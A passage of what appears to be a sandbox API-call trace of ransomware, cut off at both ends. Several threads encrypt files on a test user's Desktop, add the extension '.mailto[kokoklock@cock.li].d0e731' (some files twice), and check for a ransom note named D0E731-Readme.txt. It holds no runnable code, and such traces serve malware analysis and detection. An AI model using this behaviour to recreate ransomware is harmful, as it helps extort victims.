lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\iuhd0ad9vyjqwf.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.361] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f986c0) returned 1 [0172.361] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\IuHd0AD9VYjQwf.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.361] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.361] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.361] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.361] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3a40) returned 1 [0172.361] RtlExitUserThread (Status=0x1) Thread: id = 1947 os_tid = 0xe24 [0170.749] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\njrctenbt-cvxgu.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.201] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.201] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\njrctenbt-cvxgu.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.201] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x13dffaf8 | out: lpFileSize=0x13dffaf8*=75590) returned 1 [0172.201] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x12742, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.201] ReadFile (in: hFile=0x5d4, lpBuffer=0x13dffacc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13dffac8, lpOverlapped=0x0 | out: lpBuffer=0x13dffacc*, lpNumberOfBytesRead=0x13dffac8*=0x4, lpOverlapped=0x0) returned 1 [0172.203] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.203] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.203] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.203] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d50 [0172.203] NtQuerySystemTime (in: CurrentTime=0x13dffaa4 | out: CurrentTime=0x13dffaa4*=132121213295139367) returned 0x0 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x3ccea63a [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x82cddf98 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0xd5237763 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x5b759df9 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0xa1b20b62 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x8aef0f5b [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x7fe0319c [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x40896380 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0xdf0661b [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x23c52fd8 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x6cbf0856 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x9820847 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0xedea4047 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x1ceaafc0 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x24281265 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x5e0fb0a [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x1ccf2c06 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x38473bae [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x1c2eef59 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0xfe317fa3 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x6ca283d5 [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x9aff5cd [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0xde44d7ba [0172.203] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0xee14d931 [0172.204] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0xf5393196 [0172.204] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x1eca8cf4 [0172.204] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x8a89550a [0172.204] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0xaaf11593 [0172.204] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0xc9f08ff4 [0172.204] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0xd60814f [0172.204] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x5ab56825 [0172.204] RtlRandom (in: Seed=0x13dffab0 | out: Seed=0x13dffab0) returned 0x198f9193 [0172.213] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d78 [0172.215] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013350 [0172.215] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057dc8 [0172.215] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013350) returned 1 [0172.215] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.215] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.215] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.215] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13dffa7c, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x13dffa7c*=0x4096, lpOverlapped=0x0) returned 1 [0172.216] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.216] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87818 [0172.216] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.216] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.216] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.217] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.217] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0172.217] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.217] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.217] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.217] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87818) returned 1 [0172.217] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13dffa7c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x13dffa7c*=0x4096, lpOverlapped=0x0) returned 1 [0172.218] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.218] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x12746, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.218] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057ee0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13dffab4, lpOverlapped=0x0 | out: lpBuffer=0x3057ee0*, lpNumberOfBytesWritten=0x13dffab4*=0x20, lpOverlapped=0x0) returned 1 [0172.218] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ee0) returned 1 [0172.218] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.218] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057dc8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13dffac8, lpOverlapped=0x0 | out: lpBuffer=0x3057dc8*, lpNumberOfBytesWritten=0x13dffac8*=0x8, lpOverlapped=0x0) returned 1 [0172.218] WriteFile (in: hFile=0x5d4, lpBuffer=0x13dffae0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13dffac8, lpOverlapped=0x0 | out: lpBuffer=0x13dffae0*, lpNumberOfBytesWritten=0x13dffac8*=0x4, lpOverlapped=0x0) returned 1 [0172.218] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13dffac8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x13dffac8*=0x4, lpOverlapped=0x0) returned 1 [0172.218] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13dffac8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x13dffac8*=0x6c, lpOverlapped=0x0) returned 1 [0172.218] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13dffac8, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x13dffac8*=0x20, lpOverlapped=0x0) returned 1 [0172.218] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13dffac8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x13dffac8*=0x4, lpOverlapped=0x0) returned 1 [0172.219] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.219] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d78) returned 1 [0172.219] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057dc8) returned 1 [0172.219] CloseHandle (hObject=0x5d4) returned 1 [0172.299] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xdc) returned 0x2f98320 [0172.299] wcscpy (in: _Dest=0x2f98320, _Source="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731" [0172.299] wcscat (in: _Dest=0x2f98320, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.299] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\njrctenbt-cvxgu.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\njrctenbt-cvxgu.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.319] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.321] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98320) returned 1 [0172.321] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nJRCtEnbt-cvxGu.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.321] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa41e0 [0172.321] wcscpy (in: _Dest=0x2fa41e0, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.321] wcscat (in: _Dest=0x2fa41e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.321] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.321] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa41e0) returned 1 [0172.321] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedda8) returned 1 [0172.321] RtlExitUserThread (Status=0x1) Thread: id = 1948 os_tid = 0xe3c [0170.749] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\of-azbelv27o.mp4.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.183] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.183] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\of-azbelv27o.mp4.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.183] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x13e7f784 | out: lpFileSize=0x13e7f784*=30551) returned 1 [0172.183] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x7753, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.183] ReadFile (in: hFile=0x5d4, lpBuffer=0x13e7f758, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13e7f754, lpOverlapped=0x0 | out: lpBuffer=0x13e7f758*, lpNumberOfBytesRead=0x13e7f754*=0x4, lpOverlapped=0x0) returned 1 [0172.184] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.185] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.185] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.185] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e90 [0172.185] NtQuerySystemTime (in: CurrentTime=0x13e7f730 | out: CurrentTime=0x13e7f730*=132121213294983215) returned 0x0 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xa66e7295 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xf63bd89e [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xcfc10693 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x8f412a46 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x96385048 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x5ddbea49 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x380dbac4 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x1a6ca74e [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xb4a06552 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xcb117b6b [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x85f5dd54 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x11c9ba03 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xaab62bb2 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xb27fe8f [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x36ef1328 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xb15c0cd1 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xc247c5d2 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x97bae12d [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xa3fc4070 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x4cf7a301 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xf0e0f4b0 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x28956c74 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xaeb7da07 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x4abee67e [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xcf54c6c2 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x68cfc46 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x5838027e [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xcfa2e4 [0172.185] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x227f072c [0172.186] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x6fa00086 [0172.186] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0x83af0e4d [0172.186] RtlRandom (in: Seed=0x13e7f73c | out: Seed=0x13e7f73c) returned 0xa884e014 [0172.195] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d50 [0172.196] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013788 [0172.197] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d78 [0172.197] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013788) returned 1 [0172.197] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.197] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.197] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.197] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13e7f708, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x13e7f708*=0x4096, lpOverlapped=0x0) returned 1 [0172.198] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0172.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0172.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.198] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.198] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057dc8 [0172.198] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057dc8) returned 1 [0172.198] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0172.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0172.199] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13e7f708, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x13e7f708*=0x4096, lpOverlapped=0x0) returned 1 [0172.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.199] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x7757, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.199] WriteFile (in: hFile=0x5d4, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13e7f740, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x13e7f740*=0x20, lpOverlapped=0x0) returned 1 [0172.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.199] WriteFile (in: hFile=0x5d4, lpBuffer=0x3057d78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13e7f754, lpOverlapped=0x0 | out: lpBuffer=0x3057d78*, lpNumberOfBytesWritten=0x13e7f754*=0x8, lpOverlapped=0x0) returned 1 [0172.199] WriteFile (in: hFile=0x5d4, lpBuffer=0x13e7f76c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13e7f754, lpOverlapped=0x0 | out: lpBuffer=0x13e7f76c*, lpNumberOfBytesWritten=0x13e7f754*=0x4, lpOverlapped=0x0) returned 1 [0172.200] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13e7f754, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x13e7f754*=0x4, lpOverlapped=0x0) returned 1 [0172.200] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13e7f754, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x13e7f754*=0x6c, lpOverlapped=0x0) returned 1 [0172.200] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13e7f754, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x13e7f754*=0x20, lpOverlapped=0x0) returned 1 [0172.200] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13e7f754, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x13e7f754*=0x4, lpOverlapped=0x0) returned 1 [0172.200] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.200] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d50) returned 1 [0172.200] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d78) returned 1 [0172.200] CloseHandle (hObject=0x5d4) returned 1 [0172.298] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd6) returned 0x2f97bb8 [0172.298] wcscpy (in: _Dest=0x2f97bb8, _Source="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731" [0172.298] wcscat (in: _Dest=0x2f97bb8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.298] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\of-azbelv27o.mp4.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\Of-AzbElV27O.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: 